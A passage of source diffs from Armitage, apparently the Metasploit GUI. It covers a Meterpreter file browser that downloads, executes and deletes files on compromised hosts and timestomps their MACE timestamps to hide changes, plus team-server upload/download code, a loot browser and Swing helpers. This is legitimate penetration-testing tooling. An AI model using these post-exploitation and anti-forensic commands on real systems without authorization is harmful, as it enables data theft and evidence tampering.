|
m_cmd($sid, "ls");
|
||||||
|
}
|
||||||
|
# refresh?
|
||||||
|
}, $sid => $1, \$setcwd)];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
if ([$text getText] eq "List Drives") {
|
||||||
|
listDrives($sid, \$model, \$refresh);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$setcwd];
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
}
|
||||||
|
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
|
||||||
|
|
||||||
|
$drives = [new JButton: "List Drives"];
|
||||||
|
[$drives addActionListener: lambda({
|
||||||
|
listDrives($sid, \$model, \$refresh);
|
||||||
|
[$text setText: "List Drives"];
|
||||||
|
}, \$refresh, \$model, \$text, $sid => $1)];
|
||||||
|
|
||||||
|
# do the overall layout...
|
||||||
|
|
||||||
|
$top = [new JPanel];
|
||||||
|
[$top setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||||
|
[$top setLayout: [new BorderLayout]];
|
||||||
|
[$top add: $text, [BorderLayout CENTER]];
|
||||||
|
[$top add: pad($up, 0, 0, 0, 4), [BorderLayout WEST]];
|
||||||
|
|
||||||
|
[$panel add: $top, [BorderLayout NORTH]];
|
||||||
|
|
||||||
|
if ("*win*" iswm lc(sessionPlatform($1))) {
|
||||||
|
[$panel add: center($upload, $mkdir, $drives, $refresh), [BorderLayout SOUTH]];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$panel add: center($upload, $mkdir, $refresh), [BorderLayout SOUTH]];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$frame addTab: "Files $1", $panel, $null, "Files " . sessionToHost($1)];
|
||||||
|
|
||||||
|
m_cmd($1, "ls");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub convertDate {
|
||||||
|
if ($1 ismatch '\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*') {
|
||||||
|
return parseDate('yyyy-MM-dd HH:mm:ss Z', $1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return parseDate("EEE MMM dd HH:mm:ss Z yyyy", $1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# automagically store timestomp attributes...
|
||||||
|
%handlers["timestomp"] = {
|
||||||
|
if ($0 eq "update" && $2 ismatch '([MACE].*?)\s*: (.*)') {
|
||||||
|
local('$type $value $d');
|
||||||
|
($type, $value) = matched();
|
||||||
|
%attribs[["$type" trim]] = formatDate(convertDate($value), 'MM/dd/yyyy HH:mm:ss');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
sub buildFileBrowserMenu {
|
||||||
|
# ($popup, [$model getSelectedValue: $table], @rows);
|
||||||
|
|
||||||
|
# turn @rows into %(file => type)
|
||||||
|
local('%types');
|
||||||
|
map(lambda({ %types[$1["Name"]] = $1["D"]; }, \%types), $3);
|
||||||
|
|
||||||
|
# need to pass current working directory, selected file, and type
|
||||||
|
setupMenu($1, "file_browser", @($2, %types, [$text getText]));
|
||||||
|
|
||||||
|
item($1, "Download", 'D', lambda({
|
||||||
|
local('$f $dir @temp $tdir');
|
||||||
|
@temp = split('\\\\', [$text getText]);
|
||||||
|
|
||||||
|
$dir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp)), "\\", "/");
|
||||||
|
|
||||||
|
foreach $f ($file) {
|
||||||
|
[$setcwd];
|
||||||
|
if (%types[$f] eq "dir") {
|
||||||
|
$tdir = strrep(downloadDirectory(sessionToHost($sid), join("/", @temp), $f), "\\", "/");
|
||||||
|
m_cmd($sid, "download -r \" $+ $f $+ \" \" $+ $tdir $+ \"");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_cmd($sid, "download \" $+ $f $+ \" \" $+ $dir $+ \"");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
showError("Downloading:\n\n" . join("\n", $file) . "\n\nUse View -> Downloads to see files");
|
||||||
|
elog("downloaded " . join(", ", $file) . " from " . [$text getText] . " on " . sessionToHost($sid));
|
||||||
|
}, $file => $2, \$sid, \%types, \$setcwd, \$text));
|
||||||
|
|
||||||
|
item($1, "Execute", 'E', lambda({
|
||||||
|
local('$f $args');
|
||||||
|
[$setcwd];
|
||||||
|
|
||||||
|
$args = ask("Arguments?");
|
||||||
|
|
||||||
|
foreach $f ($file) {
|
||||||
|
if ($args eq "") {
|
||||||
|
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$args = strrep($args, '\\', '\\\\');
|
||||||
|
m_cmd($sid, "execute -t -f \" $+ $f $+ \" -k -a \" $+ $args $+ \"");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, $file => $2, \$sid, \$setcwd));
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
# use timestomp to make sure the date/time stamp is the same. :)
|
||||||
|
local('$t $key $value');
|
||||||
|
$t = menu($1, "Timestomp", 'T');
|
||||||
|
item($t, "Get MACE values", 'G', lambda({
|
||||||
|
[$setcwd];
|
||||||
|
m_cmd($sid, "timestomp \" $+ $f $+ \" -v");
|
||||||
|
}, \$sid, $f => $2[0], \$setcwd));
|
||||||
|
|
||||||
|
if (size(%attribs) > 0) {
|
||||||
|
separator($t);
|
||||||
|
|
||||||
|
foreach $key => $value (%attribs) {
|
||||||
|
item($t, "Set $key to $value", $null, lambda({
|
||||||
|
local('%switches $s $f');
|
||||||
|
[$setcwd];
|
||||||
|
foreach $f ($files) {
|
||||||
|
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
|
||||||
|
%switches["Entry Modified"] = '-e';
|
||||||
|
$s = %switches[$key];
|
||||||
|
m_cmd($sid, "timestomp \" $+ $f $+ \" $s \" $+ $value $+ \"");
|
||||||
|
}
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
}, $files => $2, \$sid, $key => "$key", $value => "$value", \$setcwd));
|
||||||
|
}
|
||||||
|
|
||||||
|
separator($t);
|
||||||
|
item($t, "Set MACE values", 'S', lambda({
|
||||||
|
local('$f %switches $s $cmd $key $value');
|
||||||
|
%switches = %(Modified => '-m', Accessed => '-a', Created => '-c');
|
||||||
|
%switches["Entry Modified"] = '-e';
|
||||||
|
|
||||||
|
[$setcwd];
|
||||||
|
|
||||||
|
foreach $f ($files) {
|
||||||
|
$cmd = "timestomp \" $+ $f $+ \"";
|
||||||
|
|
||||||
|
foreach $key => $value (%attribs) {
|
||||||
|
$s = %switches[$key];
|
||||||
|
$cmd = "$cmd $s \" $+ $value $+ \"";
|
||||||
|
}
|
||||||
|
|
||||||
|
m_cmd($sid, $cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
}, $files => $2, \$sid, \$setcwd));
|
||||||
|
}
|
||||||
|
|
||||||
|
item($1, "Delete", 'l', lambda({
|
||||||
|
local('$f');
|
||||||
|
[$setcwd];
|
||||||
|
foreach $f ($file) {
|
||||||
|
if (%types[$f] eq "dir") {
|
||||||
|
m_cmd($sid, "rmdir \" $+ $f $+ \"");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_cmd($sid, "rm \" $+ $f $+ \"");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
}, $file => $2, \$sid, \%types, \$setcwd));
|
||||||
|
}
|
||||||
|
|
||||||
|
# Buttons:
|
||||||
|
# [upload...] [make directory]
|
||||||
|
#
|
|
@ -0,0 +1,140 @@
|
||||||
|
#
|
||||||
|
# Armitage Collaboration Feature... make no mistake, I'm extremely excited about this.
|
||||||
|
#
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import armitage.*;
|
||||||
|
import console.*;
|
||||||
|
|
||||||
|
sub createEventLogTab {
|
||||||
|
this('$console $client');
|
||||||
|
|
||||||
|
if ($client is $null && $console is $null) {
|
||||||
|
$client = [new ConsoleClient: $null, $mclient, "armitage.poll", "armitage.push", $null, "", $null];
|
||||||
|
$console = [new ActivityConsole: $preferences];
|
||||||
|
logCheck($console, "all", "events");
|
||||||
|
[$client setWindow: $console];
|
||||||
|
[$client setEcho: $null];
|
||||||
|
[$console updatePrompt: "> "];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$console updateProperties: $preferences];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$frame addTab: "Event Log", $console, $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub c_client {
|
||||||
|
# run this thing in its own thread to avoid really stupid deadlock situations
|
||||||
|
local('$handle');
|
||||||
|
$handle = connect($1, $2, 5000);
|
||||||
|
return wait(fork({
|
||||||
|
local('$client');
|
||||||
|
$client = newInstance(^RpcConnection, lambda({
|
||||||
|
writeObject($handle, @_);
|
||||||
|
return readObject($handle);
|
||||||
|
}, \$handle));
|
||||||
|
return [new RpcAsync: $client];
|
||||||
|
}, \$handle));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub userFingerprint {
|
||||||
|
return unpack("H*", digest(values(systemProperties(), @("os.name", "user.home", "os.version")), "MD5"))[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setup_collaboration {
|
||||||
|
local('$nick %r $mclient');
|
||||||
|
|
||||||
|
$nick = ask("What is your nickname?");
|
||||||
|
|
||||||
|
while (["$nick" trim] eq "") {
|
||||||
|
$nick = ask("You can't use a blank nickname. What do you want?");
|
||||||
|
}
|
||||||
|
|
||||||
|
$mclient = c_client($3, $4);
|
||||||
|
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
|
||||||
|
if (%r["error"] eq "1") {
|
||||||
|
showErrorAndQuit(%r["message"]);
|
||||||
|
}
|
||||||
|
|
||||||
|
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
|
||||||
|
return $mclient;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub uploadFile {
|
||||||
|
local('$handle %r $data');
|
||||||
|
|
||||||
|
$handle = openf($1);
|
||||||
|
$data = readb($handle, -1);
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
%r = call($mclient, "armitage.upload", getFileName($1), $data);
|
||||||
|
return %r['file'];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub uploadBigFile {
|
||||||
|
local('$handle %r $data $file $progress $total $sofar $time $start');
|
||||||
|
|
||||||
|
$total = lof($1);
|
||||||
|
$progress = [new javax.swing.ProgressMonitor: $null, "Upload " . getFileName($1), "Starting upload", 0, lof($1)];
|
||||||
|
$start = ticks();
|
||||||
|
$handle = openf($1);
|
||||||
|
$data = readb($handle, 1024 * 256);
|
||||||
|
%r = call($mclient, "armitage.upload", getFileName($1), $data);
|
||||||
|
$sofar += strlen($data);
|
||||||
|
|
||||||
|
while $data (readb($handle, 1024 * 256)) {
|
||||||
|
$time = (ticks() - $start) / 1000.0;
|
||||||
|
[$progress setProgress: $sofar];
|
||||||
|
[$progress setNote: "Speed: " . round($sofar / $time) . " bytes/second"];
|
||||||
|
call($mclient, "armitage.append", getFileName($1), $data);
|
||||||
|
$sofar += strlen($data);
|
||||||
|
}
|
||||||
|
[$progress close];
|
||||||
|
return %r['file'];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub downloadFile {
|
||||||
|
local('$file $handle %r $2');
|
||||||
|
%r = call($mclient, "armitage.download", $1);
|
||||||
|
$file = iff($2, $2, getFileName($1));
|
||||||
|
$handle = openf("> $+ $file");
|
||||||
|
writeb($handle, %r['data']);
|
||||||
|
closef($handle);
|
||||||
|
return $file;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub getFileContent {
|
||||||
|
local('$file $handle %r');
|
||||||
|
if ($mclient !is $client) {
|
||||||
|
%r = call($mclient, "armitage.download_nodelete", $1);
|
||||||
|
return %r['data'];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$handle = openf($1);
|
||||||
|
$file = readb($handle, -1);
|
||||||
|
closef($handle);
|
||||||
|
return $file;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# returns the folder where files should be downloaded to!
|
||||||
|
sub downloadDirectory {
|
||||||
|
if ($client is $mclient) {
|
||||||
|
local('@dirs $start $dir');
|
||||||
|
$start = dataDirectory();
|
||||||
|
push(@dirs, "downloads");
|
||||||
|
addAll(@dirs, @_);
|
||||||
|
|
||||||
|
foreach $dir (@dirs) {
|
||||||
|
if (isWindows()) {
|
||||||
|
$dir = strrep($dir, "/", "\\", ":", "");
|
||||||
|
}
|
||||||
|
$start = getFileProper($start, $dir);
|
||||||
|
}
|
||||||
|
return $start;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "downloads/" . join("/", @_);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,78 @@
|
||||||
|
#
|
||||||
|
# Loot browser (not yet complete... on hold until more post/ modules have loot)
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub updateDownloadModel {
|
||||||
|
thread(lambda({
|
||||||
|
local('$root $files $entry $findf $hosts $host');
|
||||||
|
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
$files = call($mclient, "armitage.downloads");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$files = listDownloads(downloadDirectory());
|
||||||
|
}
|
||||||
|
|
||||||
|
[$model clear: 256];
|
||||||
|
|
||||||
|
foreach $entry ($files) {
|
||||||
|
$entry["date"] = rtime($entry["updated_at"] / 1000.0);
|
||||||
|
[$model addEntry: $entry];
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}, \$model));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createDownloadBrowser {
|
||||||
|
local('$table $model $panel $refresh $sorter $host $view');
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("host", "name", "path", "size", "date"), "location", 16];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
setupSizeRenderer($table, "size");
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$sorter setComparator: 0, &compareHosts];
|
||||||
|
[$sorter setComparator: 4, {
|
||||||
|
return convertDate($1) <=> convertDate($2);
|
||||||
|
}];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
|
||||||
|
showLoot(\$model, \$table);
|
||||||
|
}
|
||||||
|
}, \$model, \$table));
|
||||||
|
|
||||||
|
$view = [new JButton: "View"];
|
||||||
|
|
||||||
|
[$view addActionListener: lambda({
|
||||||
|
showLoot(\$model, \$table);
|
||||||
|
}, \$model, \$table)];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
updateDownloadModel(\$model);
|
||||||
|
}, \$model)];
|
||||||
|
|
||||||
|
updateDownloadModel(\$model);
|
||||||
|
|
||||||
|
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$frame addTab: "Downloads", $panel, $null];
|
||||||
|
}
|
|
@ -0,0 +1,518 @@
|
||||||
|
#
|
||||||
|
# This file defines the main GUI and loads additional modules
|
||||||
|
#
|
||||||
|
|
||||||
|
debug(7 | 34);
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
import javax.swing.tree.*;
|
||||||
|
import javax.imageio.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.image.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import java.awt.datatransfer.*;
|
||||||
|
|
||||||
|
import graph.*;
|
||||||
|
import armitage.*;
|
||||||
|
import table.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
# Create a new menu, returns the menu, you have to attach it to something
|
||||||
|
# menu([$parent], "Name", 'Accelerator')
|
||||||
|
sub menu {
|
||||||
|
local('$menu');
|
||||||
|
if (size(@_) == 2) {
|
||||||
|
$menu = [new JMenu: $1];
|
||||||
|
|
||||||
|
if ($2 !is $null) {
|
||||||
|
[$menu setMnemonic: casti(charAt($2, 0), 'c')];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$menu = invoke(&menu, sublist(@_, 1));
|
||||||
|
[$1 add: $menu];
|
||||||
|
}
|
||||||
|
return $menu;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub dynmenu {
|
||||||
|
local('$menu');
|
||||||
|
$menu = [new DynamicMenu: $2];
|
||||||
|
[$menu setMnemonic: casti(charAt($3, 0), 'c')];
|
||||||
|
[$menu setHandler: $4];
|
||||||
|
[$1 add: $menu];
|
||||||
|
return $menu;
|
||||||
|
}
|
||||||
|
|
||||||
|
# create a separator in the parent menu
|
||||||
|
sub separator {
|
||||||
|
[$1 addSeparator];
|
||||||
|
}
|
||||||
|
|
||||||
|
# create a menu item, attaches it to the specified parent (based on the Name)
|
||||||
|
# item($parent, "Name", 'accelerator', &listener)
|
||||||
|
sub item {
|
||||||
|
local('$item');
|
||||||
|
$item = [new JMenuItem: $2];
|
||||||
|
if ($3 !is $null) {
|
||||||
|
[$item setMnemonic: casti(charAt($3, 0), 'c')];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($4 is $null) { warn("Incomplete: " . @_); }
|
||||||
|
|
||||||
|
[$item addActionListener: lambda({
|
||||||
|
invoke($function);
|
||||||
|
}, $function => $4)];
|
||||||
|
|
||||||
|
[$1 add: $item];
|
||||||
|
return $item;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub dispatchEvent {
|
||||||
|
if ([SwingUtilities isEventDispatchThread]) {
|
||||||
|
[$1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[SwingUtilities invokeLater: $1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showError {
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
[JOptionPane showMessageDialog: $frame, $message];
|
||||||
|
}, $message => $1));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showErrorAndQuit {
|
||||||
|
[JOptionPane showMessageDialog: $frame, $1];
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub ask {
|
||||||
|
local('$2');
|
||||||
|
return [JOptionPane showInputDialog: "$1", "$2"];
|
||||||
|
}
|
||||||
|
|
||||||
|
# askYesNo("title", "text")
|
||||||
|
sub askYesNo {
|
||||||
|
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub chooseFile {
|
||||||
|
local('$fc $file $title $sel $dir $multi $always $dirsonly');
|
||||||
|
|
||||||
|
if ($REMOTE && $always is $null) {
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
local('$file');
|
||||||
|
$file = chooseFile(\$title, \$file, \$sel, \$dir, \$dirsonly, \$multi, \$fc, $always => 1);
|
||||||
|
if (-exists $file) {
|
||||||
|
warn("Uploading $file");
|
||||||
|
return uploadFile($file);
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return ask("Please type a file name:");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$fc = [new JFileChooser];
|
||||||
|
|
||||||
|
if ($title !is $null) {
|
||||||
|
[$fc setDialogTitle: $title];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($sel !is $null) {
|
||||||
|
[$fc setSelectedFile: [new java.io.File: $sel]];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($dir !is $null) {
|
||||||
|
[$fc setCurrentDirectory: [new java.io.File: $dir]];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($multi !is $null) {
|
||||||
|
[$fc setMultiSelectionEnabled: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($dirsonly !is $null) {
|
||||||
|
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$fc showOpenDialog: $frame];
|
||||||
|
|
||||||
|
if ($multi) {
|
||||||
|
return [$fc getSelectedFiles];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$file = [$fc getSelectedFile];
|
||||||
|
if ($file !is $null) {
|
||||||
|
if (-exists $file) {
|
||||||
|
return $file;
|
||||||
|
}
|
||||||
|
showError("$file does not exist!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub saveFile2 {
|
||||||
|
local('$fc $file $sel');
|
||||||
|
$fc = [new JFileChooser];
|
||||||
|
|
||||||
|
if ($sel !is $null) {
|
||||||
|
[$fc setSelectedFile: [new java.io.File: $sel]];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$fc showSaveDialog: $frame];
|
||||||
|
$file = [$fc getSelectedFile];
|
||||||
|
if ($file !is $null) {
|
||||||
|
return $file;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub saveFile {
|
||||||
|
local('$fc $file');
|
||||||
|
$fc = [new JFileChooser];
|
||||||
|
[$fc showSaveDialog: $frame];
|
||||||
|
$file = [$fc getSelectedFile];
|
||||||
|
if ($file !is $null) {
|
||||||
|
local('$ihandle $data $ohandle');
|
||||||
|
$ihandle = openf($1);
|
||||||
|
$ohandle = openf("> $+ $file");
|
||||||
|
while $data (readb($ihandle, 8192)) {
|
||||||
|
writeb($ohandle, $data);
|
||||||
|
}
|
||||||
|
closef($ihandle);
|
||||||
|
closef($ohandle);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# label_for("text", width, component)
|
||||||
|
sub label_for {
|
||||||
|
local('$panel $label $size');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
|
||||||
|
|
||||||
|
$label = [new JLabel: $1];
|
||||||
|
|
||||||
|
$size = [$label getPreferredSize];
|
||||||
|
[$label setPreferredSize: [new Dimension: $2, [$size getHeight]]];
|
||||||
|
|
||||||
|
[$panel add: $label];
|
||||||
|
[$panel add: $3];
|
||||||
|
|
||||||
|
if (size(@_) >= 4) {
|
||||||
|
[$panel add: $4];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub center {
|
||||||
|
local('$panel $c');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||||
|
|
||||||
|
foreach $c (@_) {
|
||||||
|
[$panel add: $c];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub left {
|
||||||
|
local('$panel $c');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
|
||||||
|
|
||||||
|
foreach $c (@_) {
|
||||||
|
[$panel add: $c];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub dialog {
|
||||||
|
local('$dialog $4');
|
||||||
|
$dialog = [new JDialog: $frame, $1];
|
||||||
|
[$dialog setSize: $2, $3];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
[$dialog setLocationRelativeTo: $frame];
|
||||||
|
return $dialog;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub window {
|
||||||
|
local('$dialog $4');
|
||||||
|
$dialog = [new JFrame: $1];
|
||||||
|
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
||||||
|
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
|
||||||
|
[$dialog setSize: $2, $3];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
return $dialog;
|
||||||
|
}
|
||||||
|
|
||||||
|
# overlay_images(@("image.png", "image2.png", "..."))
|
||||||
|
# constructs an image by overlaying all the specified images over eachother.
|
||||||
|
# this function caches the result so each combination is only created once.
|
||||||
|
sub overlay_images {
|
||||||
|
this('%cache');
|
||||||
|
|
||||||
|
if (join(';', $1) in %cache) {
|
||||||
|
return %cache[join(';', $1)];
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$file $image $buffered $graphics');
|
||||||
|
|
||||||
|
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
|
||||||
|
$graphics = [$buffered createGraphics];
|
||||||
|
foreach $file ($1) {
|
||||||
|
$image = [ImageIO read: resource($file)];
|
||||||
|
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
$buffered = [$buffered getScaledInstance: 250 / $scale, 194 / $scale, [Image SCALE_SMOOTH]];
|
||||||
|
|
||||||
|
%cache[join(';', $1)] = $buffered;
|
||||||
|
return $buffered;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub iconToImage {
|
||||||
|
if ($1 isa ^ImageIcon) {
|
||||||
|
return [$1 getImage];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$buffered $g');
|
||||||
|
$buffered = [new BufferedImage: [$1 getIconWidth], [$1 getIconHeight], [BufferedImage TYPE_INT_ARGB]];
|
||||||
|
$g = [$buffered createGraphics];
|
||||||
|
[$1 paintIcon: $null, $g, $2, $3];
|
||||||
|
[$g dispose];
|
||||||
|
return $buffered;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub imageToImage {
|
||||||
|
local('$buffered $g');
|
||||||
|
$buffered = [new BufferedImage: [$1 getWidth: $null], [$1 getHeight: $null], [BufferedImage TYPE_INT_ARGB]];
|
||||||
|
$g = [$buffered createGraphics];
|
||||||
|
[$g drawImage: $1, 0, 0, [$1 getWidth: $null], [$1 getHeight: $null], $null];
|
||||||
|
[$g dispose];
|
||||||
|
return $buffered;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub select {
|
||||||
|
local('$combo');
|
||||||
|
$combo = [new JComboBox: cast($1, ^String)];
|
||||||
|
[$combo setSelectedItem: $2];
|
||||||
|
return $combo;
|
||||||
|
}
|
||||||
|
|
||||||
|
# buildTreeNodes(@)
|
||||||
|
sub buildTree {
|
||||||
|
local('%nodes $entry $parent $path');
|
||||||
|
|
||||||
|
foreach $entry ($1) {
|
||||||
|
$parent = %nodes;
|
||||||
|
foreach $path (split('\\/', $entry)) {
|
||||||
|
if ($path !in $parent) {
|
||||||
|
$parent[$path] = %();
|
||||||
|
}
|
||||||
|
$parent = $parent[$path];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return %nodes;
|
||||||
|
}
|
||||||
|
|
||||||
|
# treeNodes($1, buildTree(@(...)))
|
||||||
|
sub treeNodes {
|
||||||
|
local('$temp $p');
|
||||||
|
|
||||||
|
if ($1 is $null) {
|
||||||
|
$1 = [new DefaultMutableTreeNode: "modules"];
|
||||||
|
[$1 setAllowsChildren: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
foreach $temp (sorta(keys($2))) {
|
||||||
|
$p = [new DefaultMutableTreeNode: $temp];
|
||||||
|
[$p setAllowsChildren: 1];
|
||||||
|
|
||||||
|
if (size($2[$temp]) > 0) {
|
||||||
|
treeNodes($p, $2[$temp]);
|
||||||
|
}
|
||||||
|
|
||||||
|
[$1 add: $p];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $1;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub wrapComponent {
|
||||||
|
local('$panel');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
[$panel add: $1, [BorderLayout CENTER]];
|
||||||
|
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $2, $2, $2]];
|
||||||
|
return $panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setLookAndFeel {
|
||||||
|
local('$laf');
|
||||||
|
foreach $laf ([UIManager getInstalledLookAndFeels]) {
|
||||||
|
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
|
||||||
|
[UIManager setLookAndFeel: [$laf getClassName]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub thread {
|
||||||
|
local('$thread');
|
||||||
|
$thread = [new ArmitageThread: $1];
|
||||||
|
[$thread start];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub compareHosts {
|
||||||
|
if ($1 eq "unknown") {
|
||||||
|
return compareHosts("0.0.0.0", $2);
|
||||||
|
}
|
||||||
|
else if ($2 eq "unknown") {
|
||||||
|
return compareHosts($1, "0.0.0.0");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# tells table to save any edited cells before going forward...
|
||||||
|
sub syncTable {
|
||||||
|
if ([$1 isEditing]) {
|
||||||
|
[[$1 getCellEditor] stopCellEditing];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub isWindows {
|
||||||
|
return iff("*Windows*" iswm systemProperties()["os.name"], 1);
|
||||||
|
}
|
||||||
|
